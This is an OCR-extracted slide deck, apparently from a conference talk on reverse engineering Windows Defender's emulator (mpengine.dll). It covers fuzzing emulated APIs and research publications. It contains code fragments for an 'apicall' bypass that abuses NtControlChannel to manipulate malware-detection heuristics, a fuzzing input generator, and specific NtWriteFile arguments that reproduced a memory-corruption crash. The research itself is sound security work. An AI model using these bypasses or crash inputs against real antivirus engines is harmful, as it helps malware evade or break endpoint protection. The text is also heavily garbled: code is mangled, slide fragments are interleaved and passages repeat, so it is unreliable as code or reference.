retn 4
apicall kernel32 OutputDebugStringh endp




Bypass Example 2

VOID NtControlChannel APICALL ()

{

typedef VOID (*PNTCC) (DWORD,
HMODULE k32base = LoadLibraryA (“kernel32.d11”);

PNTCC apicallNTCC = (PNTCC) ((PBYTE)k32base + i
apicallNTCC (0x11l, “virut body found”);

NtControlChannel should
not be exposed to malware
running inside the emulator

PVOID) ;

Kernel32 base offset:

NtControlChannel (0x11, “virut body found”) 0x52004
triggers immediate malware detection

Comes from kernel32

VDLL, so passes
is vdll page checks

— =

’

apicall kernel32 NtControlChannel proc near
; CODE .
; Mp5ta
mow edi, edi
call $+45

add esp, 4
apicall ntdll!NtControlChannel
retn 8

apicall kernel32 NtControlChannel endp



Demo

apicall abuse



apicall
Bypass
Implications

Fingerprint and manipulate
the analysis environment
and malware detection
heuristics
(NtControlChannel,

MpReportEvent)

Access to an attack surface
with a known history of
memory corruption
vulnerabilities

Seems very difficult to
mitigate against abuse

1 set attribute set_static_unpacking 14 get arbitrary attribute substring

2 delete attribute store 15 setpe vars t->max respawns value
pea disable static unpacking

3 get mpengine.dl1 version number 16 modify register state (?)

4 set attribute set_pea enable vmm grow 17 set arbitrary attribute

5 set attribute set_pea_deep analysis 18 load microcode

6 set attribute set _pea hstr exhaustive 19 set breakpoint

7 set attribute set pea aggressiveimport 20 retrieve get icnt inside loop value

8 set attribute set pea skip unimplemented opc 21 some sort of domain name signature check

9 set attribute pea skip unimplemented opc 22 setpe vars t->internalapis

10 set attribute set pea disable apicall limit 23+24 switch to net32 proc (NET)

11 get arbitrary attribute 25 get arbitrary pe attribute by number

12 check if malware is packed with a given packer 26-31 unimplemented

13 set attribute pea disable seh limit 32 scan_msil by base
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Fuzzing Emulated APIs

e C(Create a binary that goes inside the emulator and repeatedly calls hooked
WinExec function to request new data, then sends that data to functions
with native emulations

e Buffers in memory passed to external hook function to populate with
parameters

e Could do fuzzing in-emulator too, but this is easier for logging results

case ParamTypeDWORD32:
fuzzParam->Params[i].RawParam = GetFuzzDWORD();

elog(S_INFO, "\t%d DWORD RawParam: @x%l1x", i, currentParam—>RawParam); Linux mpclient MpEngine.dll
flog(fuzzParam->Init.logfiletest, "\tDWORD: @x%1l1lx\n", currentParam->RawParam);

prsak; Binary

case ParamTypeWORD16:
fuzzParam—>Params [i].RawParam = GetFuzzWORD();
elog(S_INFO, "\t%d WORD RawParam: O0x%x", i, currentParam->RawParam);
flog(fuzzParam—>Init.logfiletest, "\tWORD: @x%x\n", currentParam->RawParam);
break;

case ParamTypeBYTE8:

fuzzParam->Params [i].RawParam = GetFuzzBYTE(); Ir]r)ljt
elog(S_INFO, "\t%d BYTE RawParam: 0x%x", i, currentParam->RawParam);

flog(fuzzParam->Init.logfiletest, "\tBYTE: Ox%x\n", currentParam->RawParam); 1
et g P A ’ Generation

case ParamTypeINVALID:

default:
elog(S_ERROR, "\t%d UNKNOWN @x%x", i, currentParam->Type);
fuzzParam->KillSelf = 1;
break;




Input Generation

uint32_t GetFuzzDWORD()
H{
int32_t n = 0;

(rand() % 10) {
0:

® Borrow OSX syscall fuzzer

code from MWR Labs
OSXFuzz project®

Nothing fancy, just throw
random values at native
emulation handlers

Re-seed rand () at the start

of each emulation session,
just save off seeds in a log

*github.com/mwrlabs/0OSXFuzz

(rand() % 11)

0:
n = 0x80000000 >> (rand() & 0x1f);

b
n = rand();

2:

n = (unsigned int)0xff << (4 * (rand() % 7));
i

8l

n = Oxffffo000;
i

4:
n = Oxffffe00o;

5:
n = Ooxffffffee | (rand() & Oxff);

6:
n = oxffffffff — 0x1000;

7:
n = 0x1000;

8:
n = 0x1000 * ((rand() % (oxffffffff / 0x1000)) + 1);
H

9:
n = OxFffffffff;

’
10:
n = Ox7fffffff;




NtWriteFile Overflow omedee =

O0x2ff9ad29fffffc25;
NtWriteFile is normally accessible and exported by

NtWriteFile (
ntdll.dll

hFile,
® VES Write has to be triggered with special apicall
Tavis’ inputs get sanitized out by NtWriteFileWorker before
it calls down to VFS Write

NULL,
NULL,
NULL,
&ioStatus,

buf,
Ox1,
&L,
NULL) ;

L.QuadPart = 0x29548af5d7b3b7c;
NtWriteFile (
hFile,
NULL,
NULL,
NULL,
&ioStatus,

buf,

= ->vfptr[1].postDecOpenCount (& 16->vfptr); 0x1,
= (vl6->vfptr[1].__vecDelDtor)(vl6); &L,

if ( !VFS_Write(v->vfs, , , .m_Arg[6].val32, .
goto LABEL_31; NULL) ;




NtWriteFile Overflow

NtWriteFile is normally accessible and exported by
ntdll.dll

® VES Write has to be triggered with special apicall
Tavis’ inputs get sanitized out by NtWriteFileWorker before
it calls down to VFS Write

| fuzzed NtWriteFile:
® -~/ minutes @ ~8,000 NtWriteFile calls/ second
® Fuzzed Length arguments
® Reproduced Tavis’ crash, alternate easier to reach
code path through NtWriteFile
Unfortunately, patches for VES Write bug also fixed this

=8;
= ->vfptr[1].postDecOpenCount (&
= (vl6->vfptr[1].__vecDelDtor)(vl6);
if ( !'VFS_Write(v->vfs, , ,

->vfptr);

.m_Arg[6].val32,

LARGE INTEGER L;

L.QuadPart

0x2££9%ad29

NtWriteFil
hFile

L.QuadPart
NtWriteFil
hFile

goto LABEL_31;

fffffc25;

e (

4

NULL,
NULL,
NULL,
&ioStatus,
buf,

Ox1,

&L,

NULL) ;

= 0x29548af5d7b3b7c;

e (

4

NULL,
NULL,
NULL,
&ioStatus,
buf,

Ox1,

&L,

NULL) ;



Demo
N\

Fuzzing NtWriteFile
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Summary

We covered:

Tooling and instrumentation
CPU dynamic translation basics
for x86

Windows environment and
emulation for 32-bit x86 binaries
A bit on vulnerability research

nt!PEB
Settings

In-Emulator
OS Facilities

AV Instrumentation

Other
Scanning
Engines

CPU OS (Kernel) Persistent
Emulation Emulation System State

mpengine.dll




Summary

We covered:
® Tooling and instrumentation
e CPU dynamic translation basics
for x86
® \Windows environment and
emulation for 32-bit x86 binaries
® A bit on vulnerability research

Not covered:

® CPU dynamic translation internals
O Non-x86 architectures (x64, ARM,
VMProtect, etc...)
O Unpacker integration

® 16-bit emulation
® Threading model
e .NET analysis

nt!PEB
Settings

In-Emulator
OS Facilities

ARM

CPU

Emulation

AV Instrumentation

Other
Scanning
Engines

OS (Kernel) Persistent
Emulation System State

mpengine.dll



Also Inside mpengine.dll



Also Inside mpengine.dll

‘E AspackUnpacker 10::DetectGeometry (void)

E AspackUnpacker 10::DetermineCompressionFlags{lzexpk
AspackUnpacker 10::FixPE(void)  [£] vmp_32_parser::get_esc_table(void)
AspackUnpacker 10:: D et_handlers(ulong &)

Do - F | vmp_32_parser::get_key(void)
AspackUnpacker 10::PeekEBP(PtrTy 7] vmp_32. parser::get_next(void)

AspackUnpacker 10::ResolveCall(Pt [F] ymp_s2 ::get_patterns(ulong &)

AspackUnpacker 10::ResolveEP (voi E vmp arser::get_process_result{void)

AspackUnpacker 10::Resolvelmport (7] vme_ et_vm_id{void)
F | wvmp_32_parser::get_vm_start{void)

vm_state(void)

_match_end(ulong)

iis_pcode_decoder_end(u



Also Inside mpengine.dll

‘E AspackUnpacker 10::DetectGeometry (void)

E AspackUnpacker 10::DetermineCompressionFlags{lzexpk

‘E AspacklUnpacker 10::FixPE(void)  [£] vmp_32_parser::get_esc_table(void)
E AspackUnpacker 10::GetUncompres D vnp_32 Et—ha”_dlers[“k'”g &)

void)
E AspackUnpacker 10::PeekEBP(PtrTy vmp. 32, par et._next(void)

E AspackUnpacker 10::ResolveCall(Pt D vmp_32_parser::get_patterns{ulong &)

E AspackUnpacker 10::ResolveEP (voi E vmp_32_parser::get_process_result{void)

E AspackUnpacker 10::Resolvelmport (7] vme_ # id)

— F | vmp_32_parser::get_vm_start{void

|z| vmp_32_parser::get_vm_state(void)

vmp_32 sinit{ulong)

U n pa Cke rS vmp_32_parser::is_match_end{ulong)
v a7

arser::is_pcode_decoder_end(u

0

[E C¥509CertificateParser: :BinaryElement(Asn 1ElementType,uchar con
[£] CX509CertificateParser: [ £] | nkparser::LnkParser(SCAN_REPLY = LUM_e
E OS09CericaieParsery LnkParser::LnkParser (SCAN_REPLY * Ink_fil¢

7] cxs09CertificateParser: *[#] LnkParser::LnkParser(SCAN_REPLY = ulong)
[j Cx509CertificateParser: I

|7 cxs09CertificateParse
|7 cx509CertificateParse
[j CXSDQ(_ertlﬁcateParser'
|7 cxs09CertificateParser:
D CX509CertificateParser

LnkParser::dump_in_vfo_as_multibyte(ucha
[j LnkParser::is_Ink_fileformat{vaid)

| f | LnkParser::parse_ARGS({uchar *,uint)

[j LnkParser::parse_ICOMLOCATION(uchar *,
v:iparse_LINKINFO(uchar *,uint)
:parse_MAME(uchar *,uint)
:parse_RELPATH(uchar *,uint)

Pa rse rS @ LnkParser::parse_WORKINGDIR (uchar *,uir



. E JsDelegateObject_Object::delegatelint,JsRuntin

AISO I ns I d e m e n i n e d l l 7] J:-D:':IEgatEObjEct'NumbEr::'-.-‘alueOf(_JsF!untimef
p q ° \E JsDelegateObject_Number:toString(JsRuntime!

E JsDelegateObject_ModeList:item(JsRuntimeStal
7] JsDelegateObject_ModeList:item(JsRuntimeStal

£ | AspackUnpacker 10::DetectGeometry(void) J S E n gi n e — See my (7] JsDelegateObject_Modelist::getLength(JsRuntir

| AspackUnpacker 10::DetermineCompressionFlags{lzexpk [ 7] JsDelegateObject_Nodelist:fold(HtmIDocumer

D Aspacklnpacker 10::FixPE(void) L] vmp_32_parser::get_esc_table(void) R ECO n B rX ta I k % JSD?I%gatfﬂbj:%ct_f‘-lfxdf::'fm'rii-:elJ'sF!.un_tirm?Stai_:e E
@ AspackUnpacker 10::GetUncompres (7] vmp_32_parser::get | handiers(ulong ) 7| JsDelegateObject NodeinsertBeforellsRuntime
| vmp_32_parser::get_key(void)

\E JsDelegateObject_MNode:getElementsByTagMNan

\E JsDelegateObject_Node:getElementByld(JsRun
E JsDelegateObject_Node:delegate(int,JsRuntime
7 JsDelegateObject_Mode:createTextMode(JsRunt
E JsDelegateObject_Mode:createElement{JsRuntii
E JsDelegateObject_Mode:appendChild(JsRuntin
@ JsDelegateObject_Mavigator::justReturnFalse(Js|

E AspackUnpacker 10::PeekEBP(PtrTy 7] vmp. 32 parser::get_next(void)
E AspacklUnpacker 10::ResolveCall (Pt |#] vmp_32_parser::get_patterns{ulong &)
‘E AspackUnpacker 10::ResolveEP (voi E vmp_32_parser::get_process_result{void)

|7 AspackUnpacker 10::Resolvelmport (7] vmp_32_parser::get_vm_id(void)
— F| vmp_32_parser:: vm_start(void)

\zl vmp_32_parser::qet_vm_state{void)

vmp_32_parser::init{ulong)
U n pa C ke rS ':'mp_;".-. _parser::is_match_end(ulong)

vmp_32_parser::is_pcode_decoder_end(u

@ C¥509CertificateParser: :BinaryElement(Asn 1ElementType,uchar con

7] C‘:(SDQCertiﬁcateParser-lj LnkParser::LnkParser{SCAN_REPLY *LUM_¢
E CX509CertificateParser: [E LnkParser::LnkParser(SCAMN_REPLY * Ink_filé
7] cxs09CertificateParse LnkParser::LnkParser (SCAN_REPLY *,ulong)

E O(S09CertificateParser: LnkParser::dump_in_vfo_as_multibyte{ucha
E CX509CertificatePars

[j CX509CertificateParser:
[j CX509CertificateParser:
[ 7] cx509CertificatePars
(7] CkSDQLerhﬁ‘atePur

LnkParser::is_Ink_fileformat{vaid)

Ln kParser::parse_AFLGS[ur:har * uint)
viparse_ICOMLOCATIOM{uchar *,
v:iparse_LINKINFO(uchar *,uint)
:parse_MAME(uchar *,uint)
:parse_RELPATH(uchar *,uint)

Pa rse rS 5 ::parse:'\"u'ORKIr'-JGDIR[uchar * Ui



. E JsDelegateObject_Object:delegate(int JsRuntin

A I So I n s I d e m e n i n e d l l E J:-D:':IEgatEObjEct_NumbEr::'-.-‘alueOf(_JsF!untimef
p q ° @ JsDelegateObject_Number:toString(JsRuntime!

E JsDelegateObject_ModeList:item(JsRuntimeStal
E JsDelegateObject_ModeList:item(JsRuntimeStal

‘E AspackUnpacker 10::DetectGeometry (void) J S E n gi n e — See my (7] JsDelegateObject_Modelist::getLength(JsRuntir

E AspackUnpacker 10::DetermineCompressionFlags{lzexpk 7] JsDeIegateOb_@ect_r\-lodeList:_:foldlthm_lDocumer
E AspackUnpacker 10::FixPE(void)  [£] vmp_32_parser::get_esc_table(void) RECO n B rX t a I k % jgj:s:::gg:z‘::ﬁj:::”Zié;;::;ﬂ:izt;i
| 7] Aspackiinpacker 10::GetUncompres 7] vmp_32_parser::get_handiers(ulong &) : e =

. , | vmp_32_parser::get_key(void)
D Aspacklnpacker 10::PeekEBP (PHrTy £ | vmp_32_parser::get_next(void)
D AspackUnpacker 10::ResolveCall(Pt [F] ymp_ ::get_patterns(ulong &)
‘E AspackUnpacker 10::ResolveEP (voi E vmp_32_parse ::gF-t J:-rc-cess result(v-:ui-:l)
@ AspackUnpacker 10::Resolvelmport [£] vmp_32

f| vmp_32_pars

E vmp_32_parser::get_vm_state(void)
| F] Buffer_7z::Buffer_7Z(17Z_IOHelper * IDatal0 *)

sinit{ulong) - iy o
U n p a C ke rS N ser:tis._match,_end(ulong) E Buffer_7Z::EnoughBytesRemaining(uint)

E Buffer_7Z::FillBuffer{void)
E Buffer 7z :l PDF _Dictional rrentPropertylsInteresting(void)

| £] cx509CertificateParser: :BinaryElement{Asn 1ElementType,uchar con 7] Buffer 72 7] PorDictone

E JsDelegateObject_MNode:getElementsByTagMNan
@ JsDelegateObject_Node:getElementByld(JsRun
E JsDelegateObject_Node:delegate(int,JsRuntime
7 JsDelegateObject_Mode:createTextMode(JsRunt
E JsDelegateObject_Mode:createElement{JsRuntii
E JsDelegateObject_Mode:appendChild(JsRuntin
@ JsDelegateObject_Mavigator::justReturnFalse(Js|

er::is_pcode_decoder_end(u

. odeArg(Wrap F j PDF_FullOl lar deleting des
e F ®= Yy = £, - 5
1iparse_ARGS(uchar *,uint) - cute(VM_Pre 7] PDF_Ful0 FiIterdefFiItPrT
viparse_ICOMLOCATION(uchar *, 1| [£] Rarv le (VM| PDF_Fullobject
= F] POF_Fullo
D RarVM::FilterItanium .:n:tizl POF_Fulo
7 PDF_Fullobject:

:| PDF_FullObject: :getCurrentProperty(void)

E % 509CertificateParser:
lj CX509CertificateParser:
E CX509CertificateParser:

Parsers

D Buffer TZzl
[#] cxso9CertificateParser: | 7] LnkParser::LnkParser(SCAN_REPLY *,LUM_e
7] cxsoscertificateparser: £ | LnkParser::LnkParser(SCAN_REPLY * Ink_filé P Dict
% E: SI;QCEFUE'—"EE” % LnkParser::LnkParser(SCAM_REPLY *ulong) — F‘ PDF_Dictionarys-~FDF Dictionary(woid)
f C¥509CertificateParser: nkPEII'SEr::dUmp_iﬂ_'u'fﬂ_as_mulﬁb‘y’teI:UChEI ordContainer:: Fj F‘E?F FullObj Fulll")hjr-ct(ulcnnl:l std::map<ch:
E Cx509CertificateParser: " F] POF_FullObject
LnkParser::is_Ink_fileformat{vaid) SR vordContainer::” 7] poF_Fullobject
E CX509CertificateParser:
C
f

v:iparse_LINKINFO(uchar *,uint)
viparse_MAME(uchar *,uint)

:parse_RELPATH(uchar *,uint) . .
rparse_WORKINGDIR (uchar *,uir Other Scannmg Engmes

[ EHEHEHEHEHEHEHEHD
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Also Inside mpengine.dll

‘E AspackUnpacker 10:
E AspackUnpacker 10:
\E AspackUnpacker 10:
‘E AspackUnpacker 10:
F_f-‘ AspackUnpacker 10:
E AspackUnpacker 10;
‘E AspackUnpacker 10:
f | AspackUnpacker10:

:FixPE(void)  [7]
:GetUncompres Ié
:PeckEBP(PtrTy /]
:ResolveCall(Pt 7]
:ResolveEP (voil [7]
:Resolvelmport

Unpackers

[

:DetectGeometry(void)
:DetermineCompressionFlags(lzexpk
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
| | vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser:
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::

get_esc_table(void)
get_handlers{ulong &)
get_key(void)
get_next(void)
get_patterns{ulong &)
get_process_result{void)

:get_vm_id(void)

get_vm_start(void)
get_vm_state(void)
init{ulong)
is_match_end(ulong)
is_pcode_decoder_end(u

@ C¥509CertificateParser: :BinaryElement(Asn 1ElementType,uchar con
LnkParser(SCAM_REPLY *,LLM_¢

E CX509CertificateParser: E LnkParser::
@ CXSDQCertiﬁcatEParser:E LnkParser:
E CXSDQCerﬁﬁcatEParser:E LnkParser:
E CXSDQCerﬁﬁcateParser:E LrkParser:
E CXSDQCerﬁﬁcateParser:E LnkParser:
(7] C)(SDQCertiﬁcateParser:E LnkParser:
@ CXSDQCertiﬁcateParser:lj LnkParser:
|7 cxs09CertificateParser: 7]
|7 cx509CertificateParser: E t:g::z::

lj LnkParser:

Parsers [ggee

iLnkParser(SCAN_REPLY * Ink_file
iLnkParser(SCAN_REPLY *,ulong)
sdump_in_vfo_as_multibyte(ucha
iis_Ink_fileformat{vaid)
:parse_ARGS({uchar *,uint)
sparse_ICOMNLOCATION(uchar *,
sparse_LINKINFOQ(uchar *,uint)

R

:parse_MAME(uchar *,uint)
:parse_RELPATH(uchar *,uint)
sparse_WORKIMNGDIR (uchar *,uir

JS Engine - see my
REcon Brx talk

RarPasswordContainer::F
RarPasswordContainer::

RarPasswordContainer::

:DecodeAra(Wrap 7]
:Execute(VM_Prep Z
‘ExecuteCode(vM £
:ExecuteStandard £

‘FilterTtanium_seti-] POF FullObject

RarVM:
RarVM:
RarVM:
RarVM:
RarVM:

Buffer_7Z 7
Buffer_7Z z
Buffer_7z £
Buffer_7Z =]
Buffer_7Z 7]
Buffer_7Z z

7]
[7]
[7]
7]
[7]
[7]
[7]
Fl
(7]

PDF_Dictionary:
PDF_Dictionary:
PDF_Dictionary:

f | PDF_Dictionary:

PDF_Dictionary:
PDF_Dictionary:
PDF_Dictionary:

PDF_FullObject:
PDF_FullObject:
PDF_FullObject:

PDF_FullObject:
PDF_FullObject:
PDF_FullObject:

PDF_FullObject:
PDF_FullObject:

+:PDF_FullObject{ulong,std::map<chi
+:PDF_FullObject{ulong,ulong, unsigne
+:PDF_FullObject(unsigned __int64,st”
PDF_FullObject::
:addFilter (PdfFilterType)
:constValue(char const *,uint)
:endArray (void)
:endDict{void)

:finished(void)
:getCurrentProperty (void)

Other Scanning Engines

Buffer_7Z::Buffer_7Z(I7Z_IOHelper *,IDatal0 *)
Buffer_7Z::EnoughBytesRemaining(uint)
Buffer_7Z::FillBuffer (void)

:currentPropertylsInteresting(void) *
:empty(void)

:end(void)

:getat{uint)
:getCurrentProperty{void)
:getCurrentProperty(void)
signoreLastProperty(void)
| PDF_Dictionary::

~PDF_Dictionary(void)

“scalar deleting destructor'(uint)

7| MET_IL_translator <unsigned __int64=:
| NET_IL_translator <unsigned __int64=:
7| NET_IL_translator <unsigned __int64>:
7| NET_IL_translator <unsigned __int64:=::msil_type_to_wsize{ulong)
| NET_context<unsigned __int54 *>::msil_env_throw(ulong)

| NET_context<unsigned __int54=::msil_env_throw(ulong)

| RpfAPI_dgetlen_msil

JsDelegateObject_Object:delegate(int JsRuntin
JsDelegateObject_Number:valueOf(JsRuntime!
JsDelegateObject_Number::toString(JsRuntime!
JsDelegateObject_ModeList:item(JsRuntimeStal
JsDelegateObject_ModeList:item(JsRuntimeStal
JsDelegateObject_Modelist::getLength(JsRuntir
JsDelegateObject_ModelList:fold(HtmIDocumer
JsDelegateObject_Mode:write(JsRuntimeState &
JsDelegateObject_Node:insertBefore(JsRuntime
JsDelegateObject_MNode:getElementsByTagMNan
JsDelegateObject_Node:getElementByld(JsRun
JsDelegateObject_Node:delegate(int,JsRuntime
JsDelegateObject_Mode:createTextMode(JsRunt
JsDelegateObject_Mode:createElement{JsRuntii
JsDelegateObject_Mode:appendChild(JsRuntin
JsDelegateObject_MNavigator::justReturnFalse(Js|

.NET Engine

MET_IL_translator <unsigned __int64:=:
MET_IL_translator <unsigned __int64=:

G

:msil_parse_member_ref(uchz
:msil_pop_from_tstack{void)
:msil_pop_from_tstack_n{ulon
:msil_push_on_tstack(uchar)
:msil_sizeof_to_wsize(ulong)

UnTrustedietModule: :CreateStaticClassInstance (msil_dlass_info_t *,
UnTrustedNetModule: : GetClassByMember (uint,bool ,msil_dass_info_t
UnTrustedietModule::GetStaticClassInstance(msil_class_info_t *,uin

*| dgetlen_msil{uchar const *,ulong,msil_opcode_t const * *,uchar *)
*| msil_combine_alu_stflags

* | msil_combine_alu_stflags_0

*| msil_compatible_cmp_flags

*| msil_esc_apicall_emu(DT_context * ulong)

* | msil_esc_apicall_rpf{DT_context *,ulong)

* | msil_esc_box(DT_context * ulong)

msil_esc_call_emu32(DT_context *,ulong)
msil_esc_call_emus4{DT_context *,unsigned __int64)
msil_esc_call_emu_worker




Also Inside mpengine.dll

‘E AspackUnpacker 10:
Iz‘ AspackUnpacker 10:
\E AspackUnpacker 10:
E AspackUnpacker 10:
Iz‘ AspackUnpacker 10:
E AspackUnpacker 10;
E AspackUnpacker 10:
f | AspackUnpacker10:

:FixPE(void)  [7]
:GetUncompres g
:PeckEBP(PtrTy E
:ResolveCall(Pt 7]
:ResolveEP (voi 7]
:Resolvelmport

Unpackers

[l

| | vmp_32_parser::

:DetectGeometry(void)
:DetermineCompressionFlags(lzexpk

get_esc_table(void)
get_handlers{ulong &)
get_key(void)
get_next(void)
get_patterns{ulong &)
get_process_result{void)
get_vm_id{void)
get_vm_start(void)
get_vm_state(void)
init{ulong)
is_match_end(ulong)
is_pcode_decoder_end(u

vmp_32_parser::
vmp_32_parser::
vmp_32_parser::

vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::
vmp_32_parser::

@ C¥509CertificateParser: :BinaryElement(Asn 1ElementType,uchar con

@ CX509CertificateParser: E LnkParser::
E CXSDQCertiﬁcateParser:E LnkParser:
E CXSDQCerﬁﬁcateParser:E LnkParser:
lz CXSDQCErﬁﬁcateParser:E LnkParsar:
E CXSDQCerﬁﬁcateParser:E LnkParser:
(7] C)(SDQCerﬁﬁcateParser:E LnkParser:
@ CXSUQCertiﬁcateParser:lj LnkParser:
|7 cxs09CertificateParser: 7]
|7 cx509CertificateParser: E tzg:::::

lj LnkParser:

Parsers [ggee

LnkParser(SCAM_REPLY *,LLM_¢

iLnkParser(SCAN_REPLY * Ink_file
iLnkParser(SCAN_REPLY *,ulong)
sdump_in_vfo_as_multibyte(ucha
iis_Ink_fileformat{vaid)
:parse_ARGS({uchar *,uint)
sparse_ICOMNLOCATION(uchar *,
sparse_LINKINFOQ(uchar *,uint)
:parse_MAME(uchar *,uint)
:parse_RELPATH(uchar *,uint)
sparse_WORKIMNGDIR (uchar *,uir

JS Engine - see my
REcon Brx talk

Tip: the Lua engine is for
signatures - attackers can't hit

it

R

RarPasswordContainer::F

RarVM:
RarVM:
RarVM:
RarVM:

RaryM::FilterItanium_Setl =

Buffer_7Z 7
Buffer_7Z Z
Buffer_7z £
Buffer_7Z =]
Buffer_7Z 7]
Buffer_7Z z

7]
[7]
[7]
7]
[7]
[7]
[7]
Fl
(7]

RarPasswordContainer::
RarPasswordContainer::
:DecodeAra(Wrap 7]
:Execute(VM_Prep Z
‘ExecuteCode(vM £
:ExecuteStandard £

PDF_Dictionary:
PDF_Dictionary:
PDF_Dictionary:

f | PDF_Dictionary:

PDF_Dictionary:
PDF_Dictionary:
PDF_Dictionary:

PDF_FullObject:
PDF_FullObject:
PDF_FullObject:

PDF_FullObject::
:addFilter (PdfFilterType)
:constValue(char const *,uint)
:endArray(void)

PDF_FullObject:
PDF_FullObject:
PDF_FullObject:

f | POF_FullObject:

PDF_FullObject:
PDF_FullObject:

:endDict{void)
:finished(void)
:getCurrentProperty (void)

Buffer_7Z::Buffer_7Z(I7Z_IOHelper *,IDatal0 *)
Buffer_7Z::EnoughBytesRemaining(uint)
Buffer_7Z::FillBuffer (void)

:currentPropertylsInteresting(void) *
:empty(void)

:end(void)

:getat{uint)
:getCurrentProperty{void)
:getCurrentProperty(void)
signoreLastProperty(void)
| PDF_Dictionary::
:PDF_FullObject{ulong,std::map<ch:
:PDF_FullObject{ulong,ulong,unsigne
:PDF_FullObject(unsigned __int64,st”
*| dgetlen_msil{uchar const *,ulong,msil_opcode_t const * *,uchar *)
*| msil_combine_alu_stflags

* | msil_combine_alu_stflags_0

*| msil_compatible_cmp_flags

*| msil_esc_apicall_emu(DT_context * ulong)

* | msil_esc_apicall_rpf{DT_context *,ulong)

* | msil_esc_box(DT_context * ulong)

~PDF_Dictionary(void)

“scalar deleting destructor'(uint)

Other Scanning Engines

7| MET_IL_translator <unsigned __int64=:
| NET_IL_translator <unsigned __int64=:
7| NET_IL_translator <unsigned __int64>:
7| NET_IL_translator <unsigned __int64>:
| NET_context<unsigned __int54 *>::msil_env_throw(ulong)
| NET_context<unsigned __int54=::msil_env_throw(ulong)

| RpfAPI_dgetlen_msil

JsDelegateObject_Object:delegate(int JsRuntin
JsDelegateObject_Number:valueOf(JsRuntime!
JsDelegateObject_Number::toString(JsRuntime!
JsDelegateObject_ModeList:item(JsRuntimeStal
JsDelegateObject_ModeList:item(JsRuntimeStal
JsDelegateObject_Modelist::getLength(JsRuntir
JsDelegateObject_ModelList:fold(HtmIDocumer
JsDelegateObject_Node:write(JsRuntimeState &
JsDelegateObject_Node:insertBefore(JsRuntime
JsDelegateObject_MNode:getElementsByTagMNan
JsDelegateObject_Node:getElementByld(JsRun
JsDelegateObject_Node:delegate(int,JsRuntime
JsDelegateObject_Mode:createTextMode(JsRunt
JsDelegateObject_Mode:createElement{JsRuntii
JsDelegateObject_Mode:appendChild(JsRuntin
JsDelegateObject_MNavigator::justReturnFalse(Js|

.NET Engine

MET_IL_translator <unsigned __int64:=:
MET_IL_translator <unsigned __int64=:

S S S IR

:msil_parse_member_ref(uchz
:msil_pop_from_tstack{void)
:msil_pop_from_tstack_n{ulon
:msil_push_on_tstack(uchar)
:msil_sizeof_to_wsize(ulong)
:msil_type_to_wsize(ulong)

UnTrustedietModule: :CreateStaticClassInstance (msil_dlass_info_t *,
UnTrustedNetModule: : GetClassByMember (uint,bool ,msil_dass_info_t
UnTrustedietModule::GetStaticClassInstance(msil_class_info_t *,uin

msil_esc_call_emu32(DT_context *,ulong)
msil_esc_call_emus4{DT_context *,unsigned __int64)
msil_esc_call_emu_worker




Antivirus Reverse Engineering
® People constantly talk about what AVs can or ~

The /
can’t do, and how/where they are vulnerable ker’ nfd
’ acker.s Hanubool
® These claims are mostly backed up by Tavis H A, /-
Ormandy’s work at Project Zero and a handful of 28
other conference talks, papers, and blogposts

® | hope we'll see more AV research in the future

Joxean Koret
@matalaz

Replying to @matalaz @0xAlexei

2 Stefano Zanero il . B S WiLey
ﬁg @raistolo 2l Pt iy .

Narrator: but then, the antivirus industry
caught an unexpected break

Fun fact: searching for "antivirus internals
emulator”, the results are you, Tavis and
myself.

Tavis Ormandy & @taviso
Today is the first day of my sabbatical! Don't worry, I'll be back, this is my first
research break in a very long time. If you catch me on twitter, remind me to get back

to not thinking about security ‘& Hopefully you will all have solved security by the
time | get back. =¥

1:00 AM - 6 Feb 2018



Code & More Information

github.com/0xAlexeil

Code release:
® OutputDebugStringA hooking

e “Malware” binary to go inside the emulator
e Some IDA scripts, including apicall disassembler

Article in PoC||GTFO 0x19:

® OutputDebugStringA hooking

e Patch diffing and apicall bypass

® apicall disassembly with IDA processor extension module




Conclusion d0xAlexel

1. Exposition of how a modern AV uses
emulation to conduct dynamic analysis y Open DMs
on the endpoint Thank You:

2. Discussion of emulator traits that ® Tavis Ormandy - exposing the

engine, mpclient, sharing ideas
Mark - hooking ideas

Markus Gaasedelen - Lighthouse
Joxean Koret - OG AV hacker
Numerous friends who helped
edit these slides

github.com/0xAlexei

malware may use to detect, evade, and
exploit emulators

3. Demonstration of attacker / reverse
engineer analysis process and tooling

Published presentation has 50+ more slides

Defender JS Engine slides / video: , ,
Turn on virus protectlon

| . » .. N '
b 1 t . l y / 2 q 1 O 8 5 7 Virus protection is turned off. Tap or click

to turn on Windows Defender.
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\ Outline

1. Introduction

2. Tooling & Process

3. Reverse Engineering
4. Vulnerability Research
5. Conclusion



Surveying evasive malware behavior

My Pu bl |Cat|0ns and defenses against it
bit.ly/2sf0whA

Fingerprinting consumer AV A Survey On Automated Dynamic Ma!ware Analysis Evasion
emulators for malware evasion and Counter-Evasion Reverse engineering

. @ D PC, Mobile, and Web . ;
using “black box” side-channel Aloxet Bulasel Bilent Yener Windows Defender’s JS
attacks e e S engine
ubm.io/2LuTggX yener@cspiedu bit.ly/2gio857

ABSTRACT faster than human analysts can manually analyze it. Automated

galysis systems are i
odern malware. U;
d evade these syste
| analysis system de;
b their tactics for coy

AVLeak: e g

. . . .. 'i)erision deltection,
Fingerprinting Antivirus Emulators o e
For Advanced Malware Evasion ive rescarch, and br

Reverse Engineering
Windows Defender’s
JavaScript Engine

are and its mitigati
y; Software reverse e

Alexei Bulazel
s Q0xAlexei

Alexei Bulazel

blgt’:khat”
[=YNy=lm = REcon Brussels 2018

August 3, 2016 Black Hat 2016 1




\ Defender 32-Bit Release Schedule

2017 2018
° (PO bugs fixed) e 1/18
° (more PO bugs fixed) e 2/28
o 7/19 e 3/18
e 8/23 ° (Halvar’s unrar bug fixed)
o 9/27 o 4/19
o 11/1 e 5/23
° (UK NCSC bugs fixed) ® 6/25



Patent Search

a2 United States Patent (10) Patent No.: US 7,636,856 B2
Gheorghescu et al. 45) Date of Patent: Dec. 22,2009

(54) PROACTIVE COMPUTER MALWARE 6,330,691 B1* 12/2001 Buzbeeetal. ................ 714/35

PROTECTION THROUGH DYNAMIC 6,357,008 B1* 3/2002 Nachenberg 726/24
TRANSLATION 6,631,514 B1* 10/2003 717/137
